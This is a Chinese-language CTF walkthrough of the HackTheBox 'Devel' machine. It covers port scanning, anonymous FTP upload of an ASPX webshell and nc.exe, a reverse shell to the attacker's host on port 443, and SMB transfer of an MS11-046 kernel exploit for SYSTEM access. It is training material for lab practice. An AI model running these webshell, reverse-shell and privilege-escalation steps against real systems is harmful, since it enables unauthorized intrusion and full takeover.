> For the complete documentation index, see [llms.txt](https://hacking-notes.jord4n.pro/llms.txt). Markdown versions of documentation pages are available by appending `.md` to page URLs; this page is available as [Markdown](https://hacking-notes.jord4n.pro/zh/writeups-ctf/hackthebox/windows-easy/devel-hackthebox-writeup.md).

# Devel HackTheBox 解题报告

{% embed url="<https://app.hackthebox.com/machines/Devel>" %}

## 侦察

**工作区设置：**

通过创建三个文件夹来设置工作区，用于存储重要内容、漏洞利用和 Nmap 侦察结果。

<figure><img src="/files/7d6576e1745fc55e77d682094dc21fc7f0eeed9a" alt="" width="563"><figcaption></figcaption></figure>

**VPN 连接检查**

检查 VPN 连接，以确保与目标机器的稳定通信。

<figure><img src="/files/6655873bdfd06e58b5db884c838ad096ee363224" alt="" width="563"><figcaption></figcaption></figure>

**使用 Nmap 发现开放端口：**

枚举开放端口，并将结果导出到 Nmap 目录中的 "allPorts" 文件：

```bash
nmap -p- --open -sS -n -Pn --min-rate 5000 10.10.10.5 -oG allPorts
```

<figure><img src="/files/38363bc1ea9761999ddebdd75b8ac4f7e46bc776" alt="" width="563"><figcaption></figcaption></figure>

**使用 extractPorts 分析开放端口：**

使用 extractPorts 函数以简洁格式显示开放端口并将其复制到剪贴板。

<figure><img src="/files/fa23a048723976259356410e9e34dc54988f7747" alt="" width="563"><figcaption></figcaption></figure>

**使用 Nmap 进行端口版本扫描：**

使用 Nmap 扫描服务版本，并将输出保存到 "targeted" 文件中：

```bash
nmap -sCV -p21,80 10.10.10.5 -oN targeted
```

<figure><img src="/files/9b91d57ea3acc22a443bc8f4d9776fcf72b62028" alt=""><figcaption></figcaption></figure>

## **服务分析**

### **端口 21 - FTP**

FTP 服务器可使用匿名凭据访问。通过探索 FTP 目录，我们发现了三个文件：

* **`aspnet_client`**
* **`iisstart.htm`**
* **`welcome.png`**

<figure><img src="/files/0f56ab4ec35f4f78795fbd3934b730b411986be8" alt=""><figcaption></figcaption></figure>

该图片 **`welcome.png`** 似乎是一个标准横幅。

<figure><img src="/files/c0fe5835392648ade3b074affbadbacb24813918" alt=""><figcaption></figcaption></figure>

### 端口 80 - HTTP：

HTTP 服务器显示的页面与在 FTP 上找到的横幅相同。这表明该网站直接从 FTP 服务器获取其文件。

<figure><img src="/files/04c881c97dff730db4d0cf60d98081364d6a07e2" alt=""><figcaption></figcaption></figure>

#### **在 FTP 上写入测试**

通过测试 FTP 服务器上的写入权限，我们确认可以使用命令添加文件

```bash
put test.txt
```

<figure><img src="/files/8fe7ad3a1a4e3e771bf3aea8cd0e48255748ac77" alt=""><figcaption></figcaption></figure>

<figure><img src="/files/e83617d7e0f6785335201b647192217b1073df21" alt=""><figcaption></figcaption></figure>

## **利用 - 通过 FTP 反向 Shell**

### **ASPX Web Shell 上传**

我们使用一个现成的 webshell， **`cmd.aspx`**，来自 SecLists：

```bash
locate cmd.aspx
cp /usr/share/davtest/backdoors/aspx_cmd.aspx .
```

然后我们将其导入 FTP 服务器：

```bash
ftp 10.10.10.5
anonymous
put aspx_cmd.aspx
```

我们通过 HTTP 服务器访问 webshell 并执行命令，例如：

```bash
ipconfig
```

<figure><img src="/files/0fed189bbfc2c57281aedc48b3f40403f5a96368" alt=""><figcaption></figcaption></figure>

### **上传 `nc.exe` 用于反向 shell 的二进制文件**

我们下载 **`nc.exe`** 来自 SecLists：

```bash
locate nc.exe 
cp /usr/share/SecLists/Web-Shells/FuzzDB/nc.exe .
```

然后我们将其添加到 FTP 服务器：

```bash
ftp 10.10.10.5
anonymous
put nc.exe
```

从 webshell 中，我们定位 **`nc.exe`** 目标服务器上的文件：

```powershell
dir /s C:/nc.exe
```

### **设置反向 shell**

<figure><img src="/files/78c1fd9c96cc1c019c61e69573d98c84bb983931" alt=""><figcaption></figcaption></figure>

**监听 443 端口：**

我们使用 `nc` 设置一个监听器来监听 443 端口：

```bash
rlwrap nc -nvlp 443
```

从目标机器上，我们通过 webshell 执行以下命令：

```powershell
C:/inetpub/wwwroot/nc.exe -e cmd 10.10.14.26 443
```

<figure><img src="/files/a7aa960badb4ef4ef42f34136ecc29aa3106a207" alt=""><figcaption></figcaption></figure>

## **权限提升**

### 内核利用 <a href="#kernel-exploitation" id="kernel-exploitation"></a>

#### **系统信息检查**

通过 **`systeminfo`** 命令，我们识别出该机器使用 **Windows 7 Enterprise**，这使我们有机会利用该版本的已知漏洞。

```powershell
systeminfo
```

结果告诉我们该机器使用 **Windows 7 Enterprise**，版本如下：

```plaintext
OS VERSION: 6.1.7600 N/A Build 7600
```

<figure><img src="/files/fc42712361021e4c59d549ac555bff6641b67ddc" alt=""><figcaption></figcaption></figure>

### **MS11-046 漏洞利用** <a href="#ms11-046-vulnerability-exploitation" id="ms11-046-vulnerability-exploitation"></a>

这让我们知道该机器可能存在一些已知缺陷，例如 **MS11-046**，这是该服务中的一个漏洞 **Windows SMB**.

{% embed url="<https://github.com/SecWiki/windows-kernel-exploits/tree/master/MS11-046>" %}

> 漏洞 **MS11-046** 允许攻击者以远程方式运行并获得权限 **NT AUTHORITY/SYSTEM** 通过 SMB 服务。为了利用此漏洞，我们将把一个恶意文件传输并运行到目标机器上。

<figure><img src="/files/f1eea3956f0a2e18ba6ef611407a35e79bbd46ba" alt=""><figcaption></figcaption></figure>

<figure><img src="/files/9ce946b9aeb01b738e12edeffaabdf5fb4422b1d" alt=""><figcaption></figcaption></figure>

### Windows 文件传输（smb） <a href="#file-transfer-windows" id="file-transfer-windows"></a>

> 我们使用 **smbserver.py** 以共享一个包含漏洞利用文件的目录 **ms11-046.exe**。然后将此文件复制到目标机器上。

```bash
smbserver.py share $(pwd) -smb2support
```

在目标机器上，我们使用 SMB 命令复制恶意文件：

```powershell
copy //10.10.14.26/share/ms11-046.exe ms11.exe
```

<figure><img src="/files/72f3c21d2a4e65d022129c85199dc9ddadac693b" alt=""><figcaption></figcaption></figure>

**执行该操作**

一旦文件传输完成，我们运行 **ms11-046.exe** 在目标机器上利用该漏洞，并获得 SYSTEM 权限的 shell。为此，我们使用以下命令：

```powershell
./ms11.exe
```

<figure><img src="/files/4db46cc681c3010d57468a60db1603f352cbc1e6" alt=""><figcaption></figcaption></figure>

### user.txt 标志 :)

<figure><img src="/files/c5e9ec892520a0bdfaceac42db37ac586cdf0feb" alt="" width="563"><figcaption></figcaption></figure>

### root.txt flag :)

<figure><img src="/files/52a85408fc1f561a9ecaca5e58ef133296a3de59" alt="" width="563"><figcaption></figcaption></figure>

<figure><img src="/files/94554fa4c04e42d24d577115d37dc9dc87cd4d3c" alt="" width="563"><figcaption></figcaption></figure>


---

# Agent Instructions
This documentation is published with GitBook. GitBook is the documentation platform designed so that both humans and AI agents can read, navigate, and reason over technical content effectively. Learn more at gitbook.com.

## Querying This Documentation
If you need additional information that is not directly available in this page, you can query the documentation dynamically by asking a question.

Perform an HTTP GET request on the current page URL with the `ask` query parameter, and the optional `goal` query parameter:

```
GET https://hacking-notes.jord4n.pro/zh/writeups-ctf/hackthebox/windows-easy/devel-hackthebox-writeup.md?ask=<question>&goal=<endgoal>
```

`ask` is the immediate question: it should be specific, self-contained, and written in natural language.
`goal` is optional and describes the broader end goal you are ultimately trying to accomplish on behalf of the user. GitBook uses it to tailor the answer towards what is most useful for that goal.

The response will contain a direct answer to the question and relevant excerpts and sources from the documentation.

Use this mechanism when the answer is not explicitly present in the current page, you need clarification or additional context, or you want to retrieve related documentation sections.
